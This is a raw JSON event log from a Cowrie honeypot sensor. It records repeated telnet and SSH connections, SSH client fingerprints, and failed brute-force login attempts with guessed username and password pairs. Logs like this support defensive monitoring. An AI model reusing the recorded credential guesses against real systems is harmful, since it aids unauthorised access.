{"eventid":"cowrie.session.closed","duration":40.60426115989685,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:21.519454Z","src_ip":"5.61.90.139","session":"c3b7e77bd205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.67474293708801,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:23.077924Z","src_ip":"5.61.90.139","session":"0079334fdac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59858,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a4920c62750","protocol":"telnet","message":"New connection: 5.61.90.139:59858 (10.17.0.5:23) [session: 3a4920c62750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:23.887628Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59866,"dst_ip":"10.17.0.5","dst_port":23,"session":"209dfe16d739","protocol":"telnet","message":"New connection: 5.61.90.139:59866 (10.17.0.5:23) [session: 209dfe16d739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:25.881719Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59892,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d181874a078","protocol":"telnet","message":"New connection: 5.61.90.139:59892 (10.17.0.5:23) [session: 8d181874a078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:35.089623Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59896,"dst_ip":"10.17.0.5","dst_port":23,"session":"89bbc9752547","protocol":"telnet","message":"New connection: 5.61.90.139:59896 (10.17.0.5:23) [session: 89bbc9752547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:35.240853Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59890,"dst_ip":"10.17.0.5","dst_port":23,"session":"888f15f8691b","protocol":"telnet","message":"New connection: 5.61.90.139:59890 (10.17.0.5:23) [session: 888f15f8691b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:35.974189Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39016,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fdf69adb4f0","protocol":"ssh","message":"New connection: 159.203.92.129:39016 (159.203.135.109:22) [session: 0fdf69adb4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:41.202674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:41.211544Z","src_ip":"159.203.92.129","session":"0fdf69adb4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:41.218004Z","src_ip":"159.203.92.129","session":"0fdf69adb4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2017","message":"login attempt [airchem/korea2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:41.235779Z","src_ip":"159.203.92.129","session":"0fdf69adb4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.042301177978516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:41.386418Z","src_ip":"5.61.90.139","session":"667fb3b7cd3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59916,"dst_ip":"10.17.0.5","dst_port":23,"session":"635e8829646b","protocol":"telnet","message":"New connection: 5.61.90.139:59916 (10.17.0.5:23) [session: 635e8829646b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:42.198398Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:42.241576Z","src_ip":"159.203.92.129","session":"0fdf69adb4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.546942710876465,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:46.672831Z","src_ip":"5.61.90.139","session":"083a9cac58af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ac937c55f9","protocol":"telnet","message":"New connection: 5.61.90.139:59924 (10.17.0.5:23) [session: d5ac937c55f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:46.880055Z"}
{"eventid":"cowrie.session.closed","duration":41.873024463653564,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:49.544662Z","src_ip":"5.61.90.139","session":"cf673bbd11ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"657a8f6ec21e","protocol":"telnet","message":"New connection: 5.61.90.139:59928 (10.17.0.5:23) [session: 657a8f6ec21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:49.760216Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59932,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ec3e1365f4","protocol":"telnet","message":"New connection: 5.61.90.139:59932 (10.17.0.5:23) [session: 34ec3e1365f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:49.857112Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"8957158276d4","protocol":"telnet","message":"New connection: 5.61.90.139:59934 (10.17.0.5:23) [session: 8957158276d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:50.100294Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59936,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd89e97a1dcd","protocol":"telnet","message":"New connection: 5.61.90.139:59936 (10.17.0.5:23) [session: bd89e97a1dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:50.157504Z"}
{"eventid":"cowrie.session.closed","duration":30.86041498184204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:50.186150Z","src_ip":"23.88.77.165","session":"2c713d6528be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.03964161872864,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:54.217082Z","src_ip":"5.61.90.139","session":"ac7501f2eda6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.4133985042572,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:31:56.075532Z","src_ip":"5.61.90.139","session":"da879705d1f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba57774b0386","protocol":"telnet","message":"New connection: 5.61.90.139:59966 (10.17.0.5:23) [session: ba57774b0386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:04.845879Z"}
{"eventid":"cowrie.session.closed","duration":41.88576602935791,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:05.773273Z","src_ip":"5.61.90.139","session":"3a4920c62750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.22338104248047,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:07.105003Z","src_ip":"5.61.90.139","session":"209dfe16d739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.516061544418335,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:15.756827Z","src_ip":"5.61.90.139","session":"89bbc9752547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.83129858970642,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:15.805372Z","src_ip":"5.61.90.139","session":"888f15f8691b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59988,"dst_ip":"10.17.0.5","dst_port":23,"session":"741bdd9bb916","protocol":"telnet","message":"New connection: 5.61.90.139:59988 (10.17.0.5:23) [session: 741bdd9bb916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:15.928113Z"}
{"eventid":"cowrie.session.closed","duration":41.19803524017334,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:16.287524Z","src_ip":"5.61.90.139","session":"8d181874a078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32ef3d8b6ef","protocol":"telnet","message":"New connection: 5.61.90.139:59990 (10.17.0.5:23) [session: c32ef3d8b6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:17.300019Z"}
{"eventid":"cowrie.session.closed","duration":39.49893403053284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:21.697243Z","src_ip":"5.61.90.139","session":"635e8829646b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49624,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca37a8df0f4","protocol":"ssh","message":"New connection: 159.203.92.129:49624 (159.203.135.109:22) [session: 1ca37a8df0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:23.729086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:23.733444Z","src_ip":"159.203.92.129","session":"1ca37a8df0f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:23.738843Z","src_ip":"159.203.92.129","session":"1ca37a8df0f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2018","message":"login attempt [airchem/korea2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:23.766008Z","src_ip":"159.203.92.129","session":"1ca37a8df0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:24.776229Z","src_ip":"159.203.92.129","session":"1ca37a8df0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e75bbe0e126","protocol":"telnet","message":"New connection: 5.61.90.139:60002 (10.17.0.5:23) [session: 1e75bbe0e126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:25.870291Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60004,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b042eb4ce0","protocol":"telnet","message":"New connection: 5.61.90.139:60004 (10.17.0.5:23) [session: 46b042eb4ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:26.100078Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f29b4007290","protocol":"telnet","message":"New connection: 5.61.90.139:60008 (10.17.0.5:23) [session: 8f29b4007290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:26.767751Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ecfc0f86b8","protocol":"telnet","message":"New connection: 5.61.90.139:60012 (10.17.0.5:23) [session: a8ecfc0f86b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:27.704459Z"}
{"eventid":"cowrie.session.closed","duration":38.05523133277893,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:27.815339Z","src_ip":"5.61.90.139","session":"657a8f6ec21e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.9452006816864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:27.825150Z","src_ip":"5.61.90.139","session":"d5ac937c55f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48795533180237,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:28.588105Z","src_ip":"5.61.90.139","session":"8957158276d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8899848455","protocol":"telnet","message":"New connection: 5.61.90.139:60018 (10.17.0.5:23) [session: 1d8899848455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:29.413266Z"}
{"eventid":"cowrie.session.closed","duration":40.13873553276062,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:29.995723Z","src_ip":"5.61.90.139","session":"34ec3e1365f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.475488901138306,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:31.632860Z","src_ip":"5.61.90.139","session":"bd89e97a1dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5078a134dec","protocol":"telnet","message":"New connection: 5.61.90.139:60026 (10.17.0.5:23) [session: f5078a134dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:39.366600Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60028,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e27a2daef75","protocol":"telnet","message":"New connection: 5.61.90.139:60028 (10.17.0.5:23) [session: 7e27a2daef75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:39.500582Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49ec8611194","protocol":"telnet","message":"New connection: 5.61.90.139:60032 (10.17.0.5:23) [session: d49ec8611194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:40.511168Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60034,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c7e7e287c4","protocol":"telnet","message":"New connection: 5.61.90.139:60034 (10.17.0.5:23) [session: 03c7e7e287c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:40.785494Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60036,"dst_ip":"10.17.0.5","dst_port":23,"session":"657b01de8e45","protocol":"telnet","message":"New connection: 5.61.90.139:60036 (10.17.0.5:23) [session: 657b01de8e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:41.469918Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60042,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ec9d8928da","protocol":"telnet","message":"New connection: 5.61.90.139:60042 (10.17.0.5:23) [session: 78ec9d8928da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:43.235518Z"}
{"eventid":"cowrie.session.closed","duration":40.01402449607849,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:44.859784Z","src_ip":"5.61.90.139","session":"ba57774b0386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91ee64f68f3","protocol":"telnet","message":"New connection: 5.61.90.139:60048 (10.17.0.5:23) [session: d91ee64f68f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:51.011409Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60050,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35139a164f1","protocol":"telnet","message":"New connection: 5.61.90.139:60050 (10.17.0.5:23) [session: d35139a164f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:51.537222Z"}
{"eventid":"cowrie.session.closed","duration":39.23772573471069,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:55.165732Z","src_ip":"5.61.90.139","session":"741bdd9bb916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.36682057380676,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:32:58.666869Z","src_ip":"5.61.90.139","session":"c32ef3d8b6ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60056,"dst_ip":"10.17.0.5","dst_port":23,"session":"997835bd05fb","protocol":"telnet","message":"New connection: 5.61.90.139:60056 (10.17.0.5:23) [session: 997835bd05fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:00.261294Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48a5bb8ffcb","protocol":"telnet","message":"New connection: 5.61.90.139:60058 (10.17.0.5:23) [session: f48a5bb8ffcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:03.611285Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60060,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb406a36d52","protocol":"telnet","message":"New connection: 5.61.90.139:60060 (10.17.0.5:23) [session: eeb406a36d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:03.785616Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8b56151c442","protocol":"telnet","message":"New connection: 5.61.90.139:60062 (10.17.0.5:23) [session: a8b56151c442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:04.305891Z"}
{"eventid":"cowrie.session.closed","duration":39.89323663711548,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:05.993181Z","src_ip":"5.61.90.139","session":"46b042eb4ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.26392841339111,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:06.134117Z","src_ip":"5.61.90.139","session":"1e75bbe0e126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27685070037842,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:06.981213Z","src_ip":"5.61.90.139","session":"a8ecfc0f86b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87554740905762,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:07.643187Z","src_ip":"5.61.90.139","session":"8f29b4007290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47890,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1a6be12f13","protocol":"ssh","message":"New connection: 159.203.92.129:47890 (159.203.135.109:22) [session: 7d1a6be12f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:33:07.713629Z"}
